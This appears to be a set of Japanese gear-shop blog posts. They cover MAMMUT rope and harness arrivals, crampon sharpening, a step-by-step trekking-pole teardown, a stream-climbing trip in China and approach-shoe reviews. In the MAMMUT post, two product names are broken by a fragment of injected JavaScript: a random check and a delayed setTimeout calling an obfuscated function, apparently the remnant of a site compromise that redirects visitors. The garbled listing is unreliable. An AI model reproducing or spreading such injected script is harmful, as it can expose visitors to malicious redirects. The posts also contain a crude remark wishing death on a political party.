MAMMUTギア系入荷!!

マムラーの方々、入荷しましたよ!!
沢山あるので一部のみ紹介します。
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■【Swiss Rope】9.6mm×60m(シングルロープ)
@26,250→@23,625(10%OFF)
マムート創立150周年記念の限定発売ロープ。
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■【Transfomer 】9.8×60m(シングルロープ)
@23,100→@20,790(10%OFF)
色のばらつきのために通常は未使用のまま廃棄される転写繊維の高品質残り繊維で作られています。
コスト・パフォーマンスも良しです。
カラーはレインボー!!!
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■【Zephir Altitude】(軽量アルパインハーネス)
@8,925
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■【El Cap】(ハイブリッドヘルメット)
@8,925
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■前にもデナリバックルーム(2012年6月2日)で紹介した限定商品のEIGEREXREMEシリーズ
Trion Nordwandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and(35L)】 【Trea Nordwandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and(32L)】も在庫あります!!

どうぞ!!

工作の時間

道具屋さんですから、「修理より買い替え」が本音です。しかし「もったいない」も本音なので困ります。

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歩き癖で穴が空いた先っちょ。ランドラバーの張り替えしても直ぐにソールも張り替える事になる。いずれにせよ、時間とお金は必要ですがもう少しすれば冬靴でしょ?、この秋を乗り切れば心置きなく修理出来ます。とりあえず、穴を埋めしてお返ししましょう。最近、工作の作業ばかりです。

純白なんてなかった中国沢登り遠征。

  中国での沢登り遠征は無事終了しました。
  
 なんだかんだあって結局山脈の西面を一本遡行する事しかできませんでしたが、中国で沢登りするという事についてかなり収穫があった遠征でした。
 で、今回登った沢は山脈北部にある上邑小河(右俣右沢)という名前でした。入渓点からの標高差は1500mで、アプローチは漾濞の北部にある永地村(漾江)から徒歩6時間、下山10時間永地村に帰ってきます。行程は3泊4日です。
 渓相としては岩がゴロゴロしている割に水量は多く、ゴルジュはほぼ無し。苔が多く、岩はヌメヌメ。フェルトソールでもずるずる滑るほどで、ラバーソールなら最早フリクションゼロ。大きな滝はそれほど多くは無いものの小滝の連瀑帯が続き、沢は常に泡立っている。そんな沢でした。下山時に左沢に100mほどあるであろう大滝を確認。右沢の連瀑帯に代わるものと思われます。
 期待していた『純白の沢』ですが勘違いはなはだしい。磨かぬ岩はただの岩でした。
 で、冒頭の『なんだかんだ』ですが山脈東面は管理が厳しく自由な登山は禁止されています。流石に頭悪い学生とはいえ現在の日中関係から今回は自粛しました。

P8290731蒼山山脈東面。ゴルジュや大滝が豊富な予感・・・。が今回は断念。
P9011198入渓点付近。最初の二俣に10m程度の滝がそれぞれの入り口にかかっています。そこまで微かな踏み跡が沢沿いに残っていて、かつての大理石採石所だったことがうかがえます。クルミの木が多く、いまでは地元民の収入源になっているようです。
P9031329彼方に見える大滝。
P9021323うっそうとしていてアザミの強襲や倒木やツタ植物に苦しみながら遡行。
P9041372ツメの100mは激しい藪漕ぎに・・・。
P9041438稜線には登山道が残っていてお花畑の中下山。
この先に地獄の下山が待っていることをまだ知らなかった。

ところで、帰国が13日だったのですが2、3日遅れていたらボコボコにされていたかもしれないと思うとゾッとしますね。でも中国はいい所でした。大理や今回行った小さな村の人は我々が日本人だと知っても、とても親切にしてくれて反日なんて言うのは実は本当に一部の話なんだと実感しました。
ということで、今後も中国で沢登りをしていこうと考えています。乞うご期待。

夏が終わると

随分、雲が高くなり秋の空らしくなりました。もう、「暑い暑い」と文句を言わずに&言われずに過ごせる事は、非常によろしい事でございます。

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しかし、溜まった課題は山積、あぁ~こんな事ならちゃんと計画立てて研いでおくべきだったよ・・・。夏休みの宿題同様、提出日が近づいて来るとやっと本気が出るのですけど。

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オリさん曰く、「今時道具屋でクランポンなんて研ぎませんよっ、プっ!」と笑われますが、日本はまだ「研ぐなかれ、それは買い替えです!!」と言うご英断が下されるほど御上は暇じゃありません。

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数時間かけて数千円の小遣いもらって「高い、ぼったくり」と言う人は流石に来なくなりましたが、暇な道具屋と言えどもそーそークランポン削っていられませんので、「自分で出来ない&したくない」とハッキリしている方は時間に余裕を持って作業依頼して下さい、猫の手では流石に研げませんので(笑)。短パン&エプロンはつなぎより快適だった。

大人は努力だけじゃダメ、結果です(でなりらぼ)

「え~、ちゃんと干してます!!」と絶対言い張るので、努力は認めよう。ただ、結果こーゆー事では干した事にはなりません。同じ画像掲載は本意ではありませんが、『Z系ポール干すのは吊し干し』、道具屋殺し、地味な作業の割に最高に手が掛かるのでその内容を大後悔・・・(涙)。

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袋から出して広げておいてもダメ、寝かしていれば水気も寝ていますから水分は抜けにくい。ですから『Z系ポール干すのは吊し干し』、出来るだけ積極的に「水気が抜けやすい」状態で干す事が重要です。重力に逆らわないこーゆー干し方こそ、「液体は下、気体は上」で乾燥しやすい。

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ココで話し終わりと言えば終わりですが、週明け早々塩辛の画像で誤魔化されたマニアの皆様のために、ディスタンス系の分解をご説明。右のザックは部品取りのために分解中、ネタになりそーなら再登場。

1,どーしよーもなくガチッてしまったストックの先っちょを鍋で煮てチップを外す。

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2,ヒモを止めている先端のピン(2mm*7mm程度の丸棒、紛失注意)を抜き、コードをフリーにする。この時点で1番下はぶらぶらになります。

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3,コードを覆う1番下と2番目のシリコンカバーをマイナスドライバー等を使い外す。割と力尽くな作業です。

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4,ここで1つ選択肢が出ます、「1週間ぐらい放置乾燥」。まぁ、ココまでやっちゃたらそんな悠長な事考えずに、2度ある事は3度ある、分解魂に火をつけて更に分解を選択。

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5,今度はグリップ部分でコードを止めているピンを抜きます。プラスチックとアルミの2重構造です。プラスチックを押して、リーシュを止めているヒモをラジオペンチで外したらアルミ。

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6,中で水を吸って膨らんだテンションアジャスターを鉄棒で打ち出します。方向はグリップ側から。逆に打ってもジョイント部分の細いアルミチューブにぶつかって抜けません。

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7,ヒモをほどかなければいけない箇所が出ますので、そーゆー所は地道にほどいて下さい。切断するとロクな事になりません。テンションアジャスターの雄ネジも折らないように注意!、ある程度出たら外す方が安全。で、分解の結果こんな感じ。

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セルフレスキューの場合、テンションアジャスターの雌ネジをペーパーで少し削って遊びを作って元に戻して完成。ちなみに、メーカーにお願いすれば、新しいパーツに交換してもらえますので、今日のネタは意味がありませんが、修理に出せば2週間ぐらい、横で見張られていれば小1時間でやるしかない。

Z系ポールのネタが増えて、最近自分でも探すのが面倒なのでバックナンバーリンク。

◆でなりらぼ(煮物:ストック編):http://www.denali.ne.jp/blog/?p=3141

◆「Distance系の弱点」と言うよりは(でなりらぼ):http://www.denali.ne.jp/blog/?p=7529

◆昨日の今日(でなりらぼ):http://www.denali.ne.jp/blog/?p=7557

被害者と加害者は紙一重的な

僕は絶対言いません!、「来て下さい」など・・・。IMGP0006

何処で嗅ぎつけか、ミラクルセンスなのか分かりませんが、イイ感じのそんな時に「ひらのさ~ん、これから行きますねぇ~」って不良厨房のカツアゲの様に「営業」という大義名分のもと僕の大切な塩辛を侵略しに来る奴等がいる。

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下の階ではコーヒー飲んでますが、EXPがあがって上の階に進むと強敵に遭遇します。「どーしよ?、塩辛だけじゃ何なんで何か飲む?」と聞かれて断るトンヌラはラダトームの町からやり直し、「え~、困るなぁ~」的な言葉を吐き捨てながら成人病予備軍のアホ祭りがスタート、貴様ら絶対ヤバイぞ・・・。僕は知りません、被害者と加害者は紙一重。まぁ、タマにはイイでしょ、デナリさんの営業など「はなす」・「つよさ」・「そうび」・「じゅもん」・「どうぐ」・「しらべる」の6コマンドあれば十分ですから。

evolv【GAVIN】特価!!

日帰り登山からハイグレードハイキング、岩稜バリエーションルートまでオールラウンドに使えるアプローチシューズ。
防水生地がライニングされているので、雨の日でもへっちゃら!
アプローチシューズの定番FIVE TENは、防水ではないので雨の日に履くと浸水します。
重要なソールのフリクションは?ですが、価格で勝負!
まだアプローチシューズを履いたことがない方、二足目として考えている方にオススメです。
この機会に是非お試しを!

イボルブ「ガビン」をネットだけの特別価格にて販売中!!
@13,650を@8,800にダウン!

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ミッドカットで防水ライニング仕様のアプローチシューズ。
TRAXソール好きな方はぜひ。
シャンクはやや硬めで、一番上のシューレースフックはロック式。

 

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インソールの半透明ブルー部分はハニカム構造の柔らかい素材。

■スペック詳細、購入はデナリネットショップ「在庫処分シューズ」コーナー

すーぱー軽いアプローチシューズ(ぎあくえ)

先日の浜松町展示会で見たevolv社のすーぱー軽いアプローチシューズ、CRUZER(クルーザー¥7,785込(今日現在、約束破るな!志ね、民○等!!!)が来た。

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「えぇ~、邪魔じゃねっスか!?」、「う~ん、痛いの嫌いなんだよねぇ~、降りる時ぐらい楽してもイイでしょ」、などとおっしゃります、「懸垂下降履き替え用」というマニアックな使い方ご希望の依頼者と自分用と2足入れてみた。

こ奴米クライミング誌“ベスト・アプローチシューズ”なる賞を受賞している鳴り物入り、ザックリ言えば、Five Ten社のガイ○テニーから煩悩を完全にそぎ落とした感じの出来、「オイオイ怪我するぜぇ、お子ちゃまはミルクでも飲んでなぁ・・・」的な無駄を省きまくった玄人志向、マニア過ぎるアイテムです!。「ハイフリクションな体育館履き」とでも言いましょうか、ココまで腹をくくっている靴はそーそお目にかかれません。

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えぇ~、これは日本古来の足袋(タビ)ダッシュ!?、いや、子供の時に見たあれだ、ドリフ靴だよ、ドリフ、僕としては凄いストライク、ヤラレル!!デザイナーは只者ではない!!。で、分解すればこんな感じ。

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コインパターンのソールに、チープなミッドソール、の割に立派なインソール。デザイナー様は何を考えているのだ、「コレ入れるから我慢しなさい!」とでも言っているのか?、狙って作っているならやはり只者ではない!!。ちなみに、来春には「ガイ○テニー キャンバス」なる大御所の後出モデルが出ますが、こちらがご本家ですから。

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親に唾はく踵潰し履き、それもOKなこんな感じで、新しい物好きな皆様チャレンジして下さい。個人的には最近のスマッシュヒットです(笑)。

秋冬新製品「パタのKid'sパックとアトムNEWカラー」

パタゴニアから秋冬の新商品が入荷してきました。
ここでは一部紹介しまーす。

Kid’s用のザックが入荷しましたよ。
サイズは2種類。カラーはpatagoniaらしいきれいな発色です(^^)

【POCO MAS(ポコ・マス) 15L】@6,300↓

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【POCO(ポコ) 12L】@5,250↓
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■ポコ系の購入はこちらまでデナリネットショップ「Kid’sパック」コーナーへ

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【ATOM(アトム)】@6,300 NEWカラー入荷↓
ちなみに値下がり(^^)

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■アトム購入はデナリネットショップ「タウン・トラベル」コーナーへ